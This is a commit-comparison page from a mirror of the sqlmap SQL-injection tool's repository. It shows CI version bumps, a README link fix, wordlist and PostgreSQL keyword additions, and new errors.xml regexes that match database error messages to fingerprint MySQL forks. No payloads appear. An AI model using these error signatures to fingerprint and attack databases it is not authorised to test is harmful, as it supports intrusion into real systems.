mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3c93872d53 | ||
|
|
881d767df8 | ||
|
|
1156b53eee | ||
|
|
5cacf20eb5 | ||
|
|
1825390951 | ||
|
|
7815f88027 | ||
|
|
f63a92a272 | ||
|
|
e3b3dea46c | ||
|
|
55595edce2 | ||
|
|
aaa0c5c6a8 | ||
|
|
57bb710ae6 | ||
|
|
ce9285381d | ||
|
|
dad4879200 | ||
|
|
2cba4e2d78 | ||
|
|
8ec165d688 | ||
|
|
492fbae7c5 | ||
|
|
a8d81a7962 | ||
|
|
fcb2a6e111 | ||
|
|
2e7333d7c8 | ||
|
|
5fd2598da0 | ||
|
|
111201978c | ||
|
|
41bdb93655 | ||
|
|
6cd0b1120f | ||
|
|
97ccf4ca66 | ||
|
|
8cc516dc5f | ||
|
|
8e39c6fc3d | ||
|
|
d9e540e8b2 | ||
|
|
e0ad99d534 | ||
|
|
5f5ee6ca68 | ||
|
|
7a5538ab3e | ||
|
|
125de093df | ||
|
|
dc6e7321e9 | ||
|
|
1023da405a | ||
|
|
013af3235e | ||
|
|
2a1e812288 | ||
|
|
44b7cc7d17 | ||
|
|
60a2d74f2b | ||
|
|
83fecfc1ba | ||
|
|
86c6e3d5fc | ||
|
|
5eb2263c42 | ||
|
|
7ff77ef052 | ||
|
|
5c82f30fd8 | ||
|
|
3f17dc4747 | ||
|
|
e1502e0cea | ||
|
|
c3fe9a0d47 | ||
|
|
f8b2cb5a0a | ||
|
|
597013477d | ||
|
|
0453a2827c | ||
|
|
0605f14d87 | ||
|
|
176e89d978 | ||
|
|
b7cdcebcea | ||
|
|
1fb1a05a78 | ||
|
|
2d48b8effa | ||
|
|
4ef9557ccd | ||
|
|
3513ca66fe | ||
|
|
6467c63c24 | ||
|
|
f19f38d1d5 | ||
|
|
a0b279848d | ||
|
|
ec80009812 | ||
|
|
19e08416b5 | ||
|
|
6825bf85a4 | ||
|
|
4fa39f4539 | ||
|
|
a989e1abfe | ||
|
|
c71bdf5c9e | ||
|
|
1b92acc033 | ||
|
|
f968b23f63 | ||
|
|
5f39016af7 | ||
|
|
1dd400f93d | ||
|
|
feb1df6a05 | ||
|
|
4772a9243a | ||
|
|
8649021b78 | ||
|
|
9d6c931faa | ||
|
|
264a270985 | ||
|
|
4278bbce11 | ||
|
|
db126af86a | ||
|
|
18b72e605a | ||
|
|
0e4232f533 | ||
|
|
e448905eb1 | ||
|
|
ee7aa68da8 |
+2
-2
@@ -9,8 +9,8 @@ jobs:
|
|||||||
dist: trusty
|
dist: trusty
|
||||||
- python: 3.6
|
- python: 3.6
|
||||||
dist: trusty
|
dist: trusty
|
||||||
- python: 3.8
|
- python: 3.9-dev
|
||||||
dist: xenial
|
dist: bionic
|
||||||
sudo: false
|
sudo: false
|
||||||
git:
|
git:
|
||||||
depth: 1
|
depth: 1
|
||||||
|
|||||||
@@ -64,7 +64,7 @@ Translations
|
|||||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||||
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
||||||
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
||||||
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md)
|
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
|
||||||
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
||||||
|
|||||||
@@ -442,6 +442,7 @@ exchange
|
|||||||
Status
|
Status
|
||||||
WORKS_ON
|
WORKS_ON
|
||||||
lines
|
lines
|
||||||
|
testusers
|
||||||
booleantests
|
booleantests
|
||||||
QRTZ_SIMPLE_TRIGGERS
|
QRTZ_SIMPLE_TRIGGERS
|
||||||
mobile_menu
|
mobile_menu
|
||||||
|
|||||||
@@ -259,6 +259,7 @@ YEAR
|
|||||||
ZONE
|
ZONE
|
||||||
|
|
||||||
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
|
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
|
||||||
|
|
||||||
ADD
|
ADD
|
||||||
ALL
|
ALL
|
||||||
ALTER
|
ALTER
|
||||||
@@ -450,3 +451,752 @@ WITH
|
|||||||
WRITEXOR
|
WRITEXOR
|
||||||
YEAR_MONTH
|
YEAR_MONTH
|
||||||
ZEROFILL
|
ZEROFILL
|
||||||
|
|
||||||
|
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
|
||||||
|
|
||||||
|
A
|
||||||
|
ABORT
|
||||||
|
ABS
|
||||||
|
ABSENT
|
||||||
|
ABSOLUTE
|
||||||
|
ACCESS
|
||||||
|
ACCORDING
|
||||||
|
ACTION
|
||||||
|
ADA
|
||||||
|
ADD
|
||||||
|
ADMIN
|
||||||
|
AFTER
|
||||||
|
AGGREGATE
|
||||||
|
ALL
|
||||||
|
ALLOCATE
|
||||||
|
ALSO
|
||||||
|
ALTER
|
||||||
|
ALWAYS
|
||||||
|
ANALYSE
|
||||||
|
ANALYZE
|
||||||
|
AND
|
||||||
|
ANY
|
||||||
|
ARE
|
||||||
|
ARRAY
|
||||||
|
ARRAY_AGG
|
||||||
|
ARRAY_MAX_CARDINALITY
|
||||||
|
AS
|
||||||
|
ASC
|
||||||
|
ASENSITIVE
|
||||||
|
ASSERTION
|
||||||
|
ASSIGNMENT
|
||||||
|
ASYMMETRIC
|
||||||
|
AT
|
||||||
|
ATOMIC
|
||||||
|
ATTRIBUTE
|
||||||
|
ATTRIBUTES
|
||||||
|
AUTHORIZATION
|
||||||
|
AVG
|
||||||
|
BACKWARD
|
||||||
|
BASE64
|
||||||
|
BEFORE
|
||||||
|
BEGIN
|
||||||
|
BEGIN_FRAME
|
||||||
|
BEGIN_PARTITION
|
||||||
|
BERNOULLI
|
||||||
|
BETWEEN
|
||||||
|
BIGINT
|
||||||
|
BINARY
|
||||||
|
BIT
|
||||||
|
BIT_LENGTH
|
||||||
|
BLOB
|
||||||
|
BLOCKED
|
||||||
|
BOM
|
||||||
|
BOOLEAN
|
||||||
|
BOTH
|
||||||
|
BREADTH
|
||||||
|
BY
|
||||||
|
C
|
||||||
|
CACHE
|
||||||
|
CALL
|
||||||
|
CALLED
|
||||||
|
CARDINALITY
|
||||||
|
CASCADE
|
||||||
|
CASCADED
|
||||||
|
CASE
|
||||||
|
CAST
|
||||||
|
CATALOG
|
||||||
|
CATALOG_NAME
|
||||||
|
CEIL
|
||||||
|
CEILING
|
||||||
|
CHAIN
|
||||||
|
CHAR
|
||||||
|
CHARACTER
|
||||||
|
CHARACTERISTICS
|
||||||
|
CHARACTERS
|
||||||
|
CHARACTER_LENGTH
|
||||||
|
CHARACTER_SET_CATALOG
|
||||||
|
CHARACTER_SET_NAME
|
||||||
|
CHARACTER_SET_SCHEMA
|
||||||
|
CHAR_LENGTH
|
||||||
|
CHECK
|
||||||
|
CHECKPOINT
|
||||||
|
CLASS
|
||||||
|
CLASS_ORIGIN
|
||||||
|
CLOB
|
||||||
|
CLOSE
|
||||||
|
CLUSTER
|
||||||
|
COALESCE
|
||||||
|
COBOL
|
||||||
|
COLLATE
|
||||||
|
COLLATION
|
||||||
|
COLLATION_CATALOG
|
||||||
|
COLLATION_NAME
|
||||||
|
COLLATION_SCHEMA
|
||||||
|
COLLECT
|
||||||
|
COLUMN
|
||||||
|
COLUMNS
|
||||||
|
COLUMN_NAME
|
||||||
|
COMMAND_FUNCTION
|
||||||
|
COMMAND_FUNCTION_CODE
|
||||||
|
COMMENT
|
||||||
|
COMMENTS
|
||||||
|
COMMIT
|
||||||
|
COMMITTED
|
||||||
|
CONCURRENTLY
|
||||||
|
CONDITION
|
||||||
|
CONDITION_NUMBER
|
||||||
|
CONFIGURATION
|
||||||
|
CONNECT
|
||||||
|
CONNECTION
|
||||||
|
CONNECTION_NAME
|
||||||
|
CONSTRAINT
|
||||||
|
CONSTRAINTS
|
||||||
|
CONSTRAINT_CATALOG
|
||||||
|
CONSTRAINT_NAME
|
||||||
|
CONSTRAINT_SCHEMA
|
||||||
|
CONSTRUCTOR
|
||||||
|
CONTAINS
|
||||||
|
CONTENT
|
||||||
|
CONTINUE
|
||||||
|
CONTROL
|
||||||
|
CONVERSION
|
||||||
|
CONVERT
|
||||||
|
COPY
|
||||||
|
CORR
|
||||||
|
CORRESPONDING
|
||||||
|
COST
|
||||||
|
COUNT
|
||||||
|
COVAR_POP
|
||||||
|
COVAR_SAMP
|
||||||
|
CREATE
|
||||||
|
CROSS
|
||||||
|
CSV
|
||||||
|
CUBE
|
||||||
|
CUME_DIST
|
||||||
|
CURRENT
|
||||||
|
CURRENT_CATALOG
|
||||||
|
CURRENT_DATE
|
||||||
|
CURRENT_DEFAULT_TRANSFORM_GROUP
|
||||||
|
CURRENT_PATH
|
||||||
|
CURRENT_ROLE
|
||||||
|
CURRENT_ROW
|
||||||
|
CURRENT_SCHEMA
|
||||||
|
CURRENT_TIME
|
||||||
|
CURRENT_TIMESTAMP
|
||||||
|
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
||||||
|
CURRENT_USER
|
||||||
|
CURSOR
|
||||||
|
CURSOR_NAME
|
||||||
|
CYCLE
|
||||||
|
DATA
|
||||||
|
DATABASE
|
||||||
|
DATALINK
|
||||||
|
DATE
|
||||||
|
DATETIME_INTERVAL_CODE
|
||||||
|
DATETIME_INTERVAL_PRECISION
|
||||||
|
DAY
|
||||||
|
DB
|
||||||
|
DEALLOCATE
|
||||||
|
DEC
|
||||||
|
DECIMAL
|
||||||
|
DECLARE
|
||||||
|
DEFAULT
|
||||||
|
DEFAULTS
|
||||||
|
DEFERRABLE
|
||||||
|
DEFERRED
|
||||||
|
DEFINED
|
||||||
|
DEFINER
|
||||||
|
DEGREE
|
||||||
|
DELETE
|
||||||
|
DELIMITER
|
||||||
|
DELIMITERS
|
||||||
|
DENSE_RANK
|
||||||
|
DEPTH
|
||||||
|
DEREF
|
||||||
|
DERIVED
|
||||||
|
DESC
|
||||||
|
DESCRIBE
|
||||||
|
DESCRIPTOR
|
||||||
|
DETERMINISTIC
|
||||||
|
DIAGNOSTICS
|
||||||
|
DICTIONARY
|
||||||
|
DISABLE
|
||||||
|
DISCARD
|
||||||
|
DISCONNECT
|
||||||
|
DISPATCH
|
||||||
|
DISTINCT
|
||||||
|
DLNEWCOPY
|
||||||
|
DLPREVIOUSCOPY
|
||||||
|
DLURLCOMPLETE
|
||||||
|
DLURLCOMPLETEONLY
|
||||||
|
DLURLCOMPLETEWRITE
|
||||||
|
DLURLPATH
|
||||||
|
DLURLPATHONLY
|
||||||
|
DLURLPATHWRITE
|
||||||
|
DLURLSCHEME
|
||||||
|
DLURLSERVER
|
||||||
|
DLVALUE
|
||||||
|
DO
|
||||||
|
DOCUMENT
|
||||||
|
DOMAIN
|
||||||
|
DOUBLE
|
||||||
|
DROP
|
||||||
|
DYNAMIC
|
||||||
|
DYNAMIC_FUNCTION
|
||||||
|
DYNAMIC_FUNCTION_CODE
|
||||||
|
EACH
|
||||||
|
ELEMENT
|
||||||
|
ELSE
|
||||||
|
EMPTY
|
||||||
|
ENABLE
|
||||||
|
ENCODING
|
||||||
|
ENCRYPTED
|
||||||
|
END
|
||||||
|
END-EXEC
|
||||||
|
END_FRAME
|
||||||
|
END_PARTITION
|
||||||
|
ENFORCED
|
||||||
|
ENUM
|
||||||
|
EQUALS
|
||||||
|
ESCAPE
|
||||||
|
EVENT
|
||||||
|
EVERY
|
||||||
|
EXCEPT
|
||||||
|
EXCEPTION
|
||||||
|
EXCLUDE
|
||||||
|
EXCLUDING
|
||||||
|
EXCLUSIVE
|
||||||
|
EXEC
|
||||||
|
EXECUTE
|
||||||
|
EXISTS
|
||||||
|
EXP
|
||||||
|
EXPLAIN
|
||||||
|
EXPRESSION
|
||||||
|
EXTENSION
|
||||||
|
EXTERNAL
|
||||||
|
EXTRACT
|
||||||
|
FALSE
|
||||||
|
FAMILY
|
||||||
|
FETCH
|
||||||
|
FILE
|
||||||
|
FILTER
|
||||||
|
FINAL
|
||||||
|
FIRST
|
||||||
|
FIRST_VALUE
|
||||||
|
FLAG
|
||||||
|
FLOAT
|
||||||
|
FLOOR
|
||||||
|
FOLLOWING
|
||||||
|
FOR
|
||||||
|
FORCE
|
||||||
|
FOREIGN
|
||||||
|
FORTRAN
|
||||||
|
FORWARD
|
||||||
|
FOUND
|
||||||
|
FRAME_ROW
|
||||||
|
FREE
|
||||||
|
FREEZE
|
||||||
|
FROM
|
||||||
|
FS
|
||||||
|
FULL
|
||||||
|
FUNCTION
|
||||||
|
FUNCTIONS
|
||||||
|
FUSION
|
||||||
|
G
|
||||||
|
GENERAL
|
||||||
|
GENERATED
|
||||||
|
GET
|
||||||
|
GLOBAL
|
||||||
|
GO
|
||||||
|
GOTO
|
||||||
|
GRANT
|
||||||
|
GRANTED
|
||||||
|
GREATEST
|
||||||
|
GROUP
|
||||||
|
GROUPING
|
||||||
|
GROUPS
|
||||||
|
HANDLER
|
||||||
|
HAVING
|
||||||
|
HEADER
|
||||||
|
HEX
|
||||||
|
HIERARCHY
|
||||||
|
HOLD
|
||||||
|
HOUR
|
||||||
|
ID
|
||||||
|
IDENTITY
|
||||||
|
IF
|
||||||
|
IGNORE
|
||||||
|
ILIKE
|
||||||
|
IMMEDIATE
|
||||||
|
IMMEDIATELY
|
||||||
|
IMMUTABLE
|
||||||
|
IMPLEMENTATION
|
||||||
|
IMPLICIT
|
||||||
|
IMPORT
|
||||||
|
IN
|
||||||
|
INCLUDING
|
||||||
|
INCREMENT
|
||||||
|
INDENT
|
||||||
|
INDEX
|
||||||
|
INDEXES
|
||||||
|
INDICATOR
|
||||||
|
INHERIT
|
||||||
|
INHERITS
|
||||||
|
INITIALLY
|
||||||
|
INLINE
|
||||||
|
INNER
|
||||||
|
INOUT
|
||||||
|
INPUT
|
||||||
|
INSENSITIVE
|
||||||
|
INSERT
|
||||||
|
INSTANCE
|
||||||
|
INSTANTIABLE
|
||||||
|
INSTEAD
|
||||||
|
INT
|
||||||
|
INTEGER
|
||||||
|
INTEGRITY
|
||||||
|
INTERSECT
|
||||||
|
INTERSECTION
|
||||||
|
INTERVAL
|
||||||
|
INTO
|
||||||
|
INVOKER
|
||||||
|
IS
|
||||||
|
ISNULL
|
||||||
|
ISOLATION
|
||||||
|
JOIN
|
||||||
|
K
|
||||||
|
KEY
|
||||||
|
KEY_MEMBER
|
||||||
|
KEY_TYPE
|
||||||
|
LABEL
|
||||||
|
LAG
|
||||||
|
LANGUAGE
|
||||||
|
LARGE
|
||||||
|
LAST
|
||||||
|
LAST_VALUE
|
||||||
|
LATERAL
|
||||||
|
LC_COLLATE
|
||||||
|
LC_CTYPE
|
||||||
|
LEAD
|
||||||
|
LEADING
|
||||||
|
LEAKPROOF
|
||||||
|
LEAST
|
||||||
|
LEFT
|
||||||
|
LENGTH
|
||||||
|
LEVEL
|
||||||
|
LIBRARY
|
||||||
|
LIKE
|
||||||
|
LIKE_REGEX
|
||||||
|
LIMIT
|
||||||
|
LINK
|
||||||
|
LISTEN
|
||||||
|
LN
|
||||||
|
LOAD
|
||||||
|
LOCAL
|
||||||
|
LOCALTIME
|
||||||
|
LOCALTIMESTAMP
|
||||||
|
LOCATION
|
||||||
|
LOCATOR
|
||||||
|
LOCK
|
||||||
|
LOWER
|
||||||
|
M
|
||||||
|
MAP
|
||||||
|
MAPPING
|
||||||
|
MATCH
|
||||||
|
MATCHED
|
||||||
|
MATERIALIZED
|
||||||
|
MAX
|
||||||
|
MAXVALUE
|
||||||
|
MAX_CARDINALITY
|
||||||
|
MEMBER
|
||||||
|
MERGE
|
||||||
|
MESSAGE_LENGTH
|
||||||
|
MESSAGE_OCTET_LENGTH
|
||||||
|
MESSAGE_TEXT
|
||||||
|
METHOD
|
||||||
|
MIN
|
||||||
|
MINUTE
|
||||||
|
MINVALUE
|
||||||
|
MOD
|
||||||
|
MODE
|
||||||
|
MODIFIES
|
||||||
|
MODULE
|
||||||
|
MONTH
|
||||||
|
MORE
|
||||||
|
MOVE
|
||||||
|
MULTISET
|
||||||
|
MUMPS
|
||||||
|
NAME
|
||||||
|
NAMES
|
||||||
|
NAMESPACE
|
||||||
|
NATIONAL
|
||||||
|
NATURAL
|
||||||
|
NCHAR
|
||||||
|
NCLOB
|
||||||
|
NESTING
|
||||||
|
NEW
|
||||||
|
NEXT
|
||||||
|
NFC
|
||||||
|
NFD
|
||||||
|
NFKC
|
||||||
|
NFKD
|
||||||
|
NIL
|
||||||
|
NO
|
||||||
|
NONE
|
||||||
|
NORMALIZE
|
||||||
|
NORMALIZED
|
||||||
|
NOT
|
||||||
|
NOTHING
|
||||||
|
NOTIFY
|
||||||
|
NOTNULL
|
||||||
|
NOWAIT
|
||||||
|
NTH_VALUE
|
||||||
|
NTILE
|
||||||
|
NULL
|
||||||
|
NULLABLE
|
||||||
|
NULLIF
|
||||||
|
NULLS
|
||||||
|
NUMBER
|
||||||
|
NUMERIC
|
||||||
|
OBJECT
|
||||||
|
OCCURRENCES_REGEX
|
||||||
|
OCTETS
|
||||||
|
OCTET_LENGTH
|
||||||
|
OF
|
||||||
|
OFF
|
||||||
|
OFFSET
|
||||||
|
OIDS
|
||||||
|
OLD
|
||||||
|
ON
|
||||||
|
ONLY
|
||||||
|
OPEN
|
||||||
|
OPERATOR
|
||||||
|
OPTION
|
||||||
|
OPTIONS
|
||||||
|
OR
|
||||||
|
ORDER
|
||||||
|
ORDERING
|
||||||
|
ORDINALITY
|
||||||
|
OTHERS
|
||||||
|
OUT
|
||||||
|
OUTER
|
||||||
|
OUTPUT
|
||||||
|
OVER
|
||||||
|
OVERLAPS
|
||||||
|
OVERLAY
|
||||||
|
OVERRIDING
|
||||||
|
OWNED
|
||||||
|
OWNER
|
||||||
|
P
|
||||||
|
PAD
|
||||||
|
PARAMETER
|
||||||
|
PARAMETER_MODE
|
||||||
|
PARAMETER_NAME
|
||||||
|
PARAMETER_ORDINAL_POSITION
|
||||||
|
PARAMETER_SPECIFIC_CATALOG
|
||||||
|
PARAMETER_SPECIFIC_NAME
|
||||||
|
PARAMETER_SPECIFIC_SCHEMA
|
||||||
|
PARSER
|
||||||
|
PARTIAL
|
||||||
|
PARTITION
|
||||||
|
PASCAL
|
||||||
|
PASSING
|
||||||
|
PASSTHROUGH
|
||||||
|
PASSWORD
|
||||||
|
PATH
|
||||||
|
PERCENT
|
||||||
|
PERCENTILE_CONT
|
||||||
|
PERCENTILE_DISC
|
||||||
|
PERCENT_RANK
|
||||||
|
PERIOD
|
||||||
|
PERMISSION
|
||||||
|
PLACING
|
||||||
|
PLANS
|
||||||
|
PLI
|
||||||
|
PORTION
|
||||||
|
POSITION
|
||||||
|
POSITION_REGEX
|
||||||
|
POWER
|
||||||
|
PRECEDES
|
||||||
|
PRECEDING
|
||||||
|
PRECISION
|
||||||
|
PREPARE
|
||||||
|
PREPARED
|
||||||
|
PRESERVE
|
||||||
|
PRIMARY
|
||||||
|
PRIOR
|
||||||
|
PRIVILEGES
|
||||||
|
PROCEDURAL
|
||||||
|
PROCEDURE
|
||||||
|
PROGRAM
|
||||||
|
PUBLIC
|
||||||
|
QUOTE
|
||||||
|
RANGE
|
||||||
|
RANK
|
||||||
|
READ
|
||||||
|
READS
|
||||||
|
REAL
|
||||||
|
REASSIGN
|
||||||
|
RECHECK
|
||||||
|
RECOVERY
|
||||||
|
RECURSIVE
|
||||||
|
REF
|
||||||
|
REFERENCES
|
||||||
|
REFERENCING
|
||||||
|
REFRESH
|
||||||
|
REGR_AVGX
|
||||||
|
REGR_AVGY
|
||||||
|
REGR_COUNT
|
||||||
|
REGR_INTERCEPT
|
||||||
|
REGR_R2
|
||||||
|
REGR_SLOPE
|
||||||
|
REGR_SXX
|
||||||
|
REGR_SXY
|
||||||
|
REGR_SYY
|
||||||
|
REINDEX
|
||||||
|
RELATIVE
|
||||||
|
RELEASE
|
||||||
|
RENAME
|
||||||
|
REPEATABLE
|
||||||
|
REPLACE
|
||||||
|
REPLICA
|
||||||
|
REQUIRING
|
||||||
|
RESET
|
||||||
|
RESPECT
|
||||||
|
RESTART
|
||||||
|
RESTORE
|
||||||
|
RESTRICT
|
||||||
|
RESULT
|
||||||
|
RETURN
|
||||||
|
RETURNED_CARDINALITY
|
||||||
|
RETURNED_LENGTH
|
||||||
|
RETURNED_OCTET_LENGTH
|
||||||
|
RETURNED_SQLSTATE
|
||||||
|
RETURNING
|
||||||
|
RETURNS
|
||||||
|
REVOKE
|
||||||
|
RIGHT
|
||||||
|
ROLE
|
||||||
|
ROLLBACK
|
||||||
|
ROLLUP
|
||||||
|
ROUTINE
|
||||||
|
ROUTINE_CATALOG
|
||||||
|
ROUTINE_NAME
|
||||||
|
ROUTINE_SCHEMA
|
||||||
|
ROW
|
||||||
|
ROWS
|
||||||
|
ROW_COUNT
|
||||||
|
ROW_NUMBER
|
||||||
|
RULE
|
||||||
|
SAVEPOINT
|
||||||
|
SCALE
|
||||||
|
SCHEMA
|
||||||
|
SCHEMA_NAME
|
||||||
|
SCOPE
|
||||||
|
SCOPE_CATALOG
|
||||||
|
SCOPE_NAME
|
||||||
|
SCOPE_SCHEMA
|
||||||
|
SCROLL
|
||||||
|
SEARCH
|
||||||
|
SECOND
|
||||||
|
SECTION
|
||||||
|
SECURITY
|
||||||
|
SELECT
|
||||||
|
SELECTIVE
|
||||||
|
SELF
|
||||||
|
SENSITIVE
|
||||||
|
SEQUENCE
|
||||||
|
SEQUENCES
|
||||||
|
SERIALIZABLE
|
||||||
|
SERVER
|
||||||
|
SERVER_NAME
|
||||||
|
SESSION
|
||||||
|
SESSION_USER
|
||||||
|
SET
|
||||||
|
SETOF
|
||||||
|
SETS
|
||||||
|
SHARE
|
||||||
|
SHOW
|
||||||
|
SIMILAR
|
||||||
|
SIMPLE
|
||||||
|
SIZE
|
||||||
|
SMALLINT
|
||||||
|
SNAPSHOT
|
||||||
|
SOME
|
||||||
|
SOURCE
|
||||||
|
SPACE
|
||||||
|
SPECIFIC
|
||||||
|
SPECIFICTYPE
|
||||||
|
SPECIFIC_NAME
|
||||||
|
SQL
|
||||||
|
SQLCODE
|
||||||
|
SQLERROR
|
||||||
|
SQLEXCEPTION
|
||||||
|
SQLSTATE
|
||||||
|
SQLWARNING
|
||||||
|
SQRT
|
||||||
|
STABLE
|
||||||
|
STANDALONE
|
||||||
|
START
|
||||||
|
STATE
|
||||||
|
STATEMENT
|
||||||
|
STATIC
|
||||||
|
STATISTICS
|
||||||
|
STDDEV_POP
|
||||||
|
STDDEV_SAMP
|
||||||
|
STDIN
|
||||||
|
STDOUT
|
||||||
|
STORAGE
|
||||||
|
STRICT
|
||||||
|
STRIP
|
||||||
|
STRUCTURE
|
||||||
|
STYLE
|
||||||
|
SUBCLASS_ORIGIN
|
||||||
|
SUBMULTISET
|
||||||
|
SUBSTRING
|
||||||
|
SUBSTRING_REGEX
|
||||||
|
SUCCEEDS
|
||||||
|
SUM
|
||||||
|
SYMMETRIC
|
||||||
|
SYSID
|
||||||
|
SYSTEM
|
||||||
|
SYSTEM_TIME
|
||||||
|
SYSTEM_USER
|
||||||
|
T
|
||||||
|
TABLE
|
||||||
|
TABLES
|
||||||
|
TABLESAMPLE
|
||||||
|
TABLESPACE
|
||||||
|
TABLE_NAME
|
||||||
|
TEMP
|
||||||
|
TEMPLATE
|
||||||
|
TEMPORARY
|
||||||
|
TEXT
|
||||||
|
THEN
|
||||||
|
TIES
|
||||||
|
TIME
|
||||||
|
TIMESTAMP
|
||||||
|
TIMEZONE_HOUR
|
||||||
|
TIMEZONE_MINUTE
|
||||||
|
TO
|
||||||
|
TOKEN
|
||||||
|
TOP_LEVEL_COUNT
|
||||||
|
TRAILING
|
||||||
|
TRANSACTION
|
||||||
|
TRANSACTIONS_COMMITTED
|
||||||
|
TRANSACTIONS_ROLLED_BACK
|
||||||
|
TRANSACTION_ACTIVE
|
||||||
|
TRANSFORM
|
||||||
|
TRANSFORMS
|
||||||
|
TRANSLATE
|
||||||
|
TRANSLATE_REGEX
|
||||||
|
TRANSLATION
|
||||||
|
TREAT
|
||||||
|
TRIGGER
|
||||||
|
TRIGGER_CATALOG
|
||||||
|
TRIGGER_NAME
|
||||||
|
TRIGGER_SCHEMA
|
||||||
|
TRIM
|
||||||
|
TRIM_ARRAY
|
||||||
|
TRUE
|
||||||
|
TRUNCATE
|
||||||
|
TRUSTED
|
||||||
|
TYPE
|
||||||
|
TYPES
|
||||||
|
UESCAPE
|
||||||
|
UNBOUNDED
|
||||||
|
UNCOMMITTED
|
||||||
|
UNDER
|
||||||
|
UNENCRYPTED
|
||||||
|
UNION
|
||||||
|
UNIQUE
|
||||||
|
UNKNOWN
|
||||||
|
UNLINK
|
||||||
|
UNLISTEN
|
||||||
|
UNLOGGED
|
||||||
|
UNNAMED
|
||||||
|
UNNEST
|
||||||
|
UNTIL
|
||||||
|
UNTYPED
|
||||||
|
UPDATE
|
||||||
|
UPPER
|
||||||
|
URI
|
||||||
|
USAGE
|
||||||
|
USER
|
||||||
|
USER_DEFINED_TYPE_CATALOG
|
||||||
|
USER_DEFINED_TYPE_CODE
|
||||||
|
USER_DEFINED_TYPE_NAME
|
||||||
|
USER_DEFINED_TYPE_SCHEMA
|
||||||
|
USING
|
||||||
|
VACUUM
|
||||||
|
VALID
|
||||||
|
VALIDATE
|
||||||
|
VALIDATOR
|
||||||
|
VALUE
|
||||||
|
VALUES
|
||||||
|
VALUE_OF
|
||||||
|
VARBINARY
|
||||||
|
VARCHAR
|
||||||
|
VARIADIC
|
||||||
|
VARYING
|
||||||
|
VAR_POP
|
||||||
|
VAR_SAMP
|
||||||
|
VERBOSE
|
||||||
|
VERSION
|
||||||
|
VERSIONING
|
||||||
|
VIEW
|
||||||
|
VOLATILE
|
||||||
|
WHEN
|
||||||
|
WHENEVER
|
||||||
|
WHERE
|
||||||
|
WHITESPACE
|
||||||
|
WIDTH_BUCKET
|
||||||
|
WINDOW
|
||||||
|
WITH
|
||||||
|
WITHIN
|
||||||
|
WITHOUT
|
||||||
|
WORK
|
||||||
|
WRAPPER
|
||||||
|
WRITE
|
||||||
|
XML
|
||||||
|
XMLAGG
|
||||||
|
XMLATTRIBUTES
|
||||||
|
XMLBINARY
|
||||||
|
XMLCAST
|
||||||
|
XMLCOMMENT
|
||||||
|
XMLCONCAT
|
||||||
|
XMLDECLARATION
|
||||||
|
XMLDOCUMENT
|
||||||
|
XMLELEMENT
|
||||||
|
XMLEXISTS
|
||||||
|
XMLFOREST
|
||||||
|
XMLITERATE
|
||||||
|
XMLNAMESPACES
|
||||||
|
XMLPARSE
|
||||||
|
XMLPI
|
||||||
|
XMLQUERY
|
||||||
|
XMLROOT
|
||||||
|
XMLSCHEMA
|
||||||
|
XMLSERIALIZE
|
||||||
|
XMLTABLE
|
||||||
|
XMLTEXT
|
||||||
|
XMLVALIDATE
|
||||||
|
YEAR
|
||||||
|
YES
|
||||||
|
ZONE
|
||||||
|
|||||||
+19
-23
@@ -1,13 +1,14 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
<root>
|
<root>
|
||||||
<!-- MySQL -->
|
|
||||||
<dbms value="MySQL">
|
<dbms value="MySQL">
|
||||||
<error regexp="SQL syntax.*?MySQL"/>
|
<error regexp="SQL syntax.*?MySQL"/>
|
||||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||||
<error regexp="MySQLSyntaxErrorException"/>
|
<error regexp="MySQLSyntaxErrorException"/>
|
||||||
<error regexp="valid MySQL result"/>
|
<error regexp="valid MySQL result"/>
|
||||||
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
||||||
|
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
||||||
|
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
|
||||||
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
||||||
<error regexp="MySqlClient\."/>
|
<error regexp="MySqlClient\."/>
|
||||||
<error regexp="com\.mysql\.jdbc"/>
|
<error regexp="com\.mysql\.jdbc"/>
|
||||||
@@ -15,13 +16,11 @@
|
|||||||
<error regexp="Pdo[./_\\]Mysql"/>
|
<error regexp="Pdo[./_\\]Mysql"/>
|
||||||
<error regexp="MySqlException"/>
|
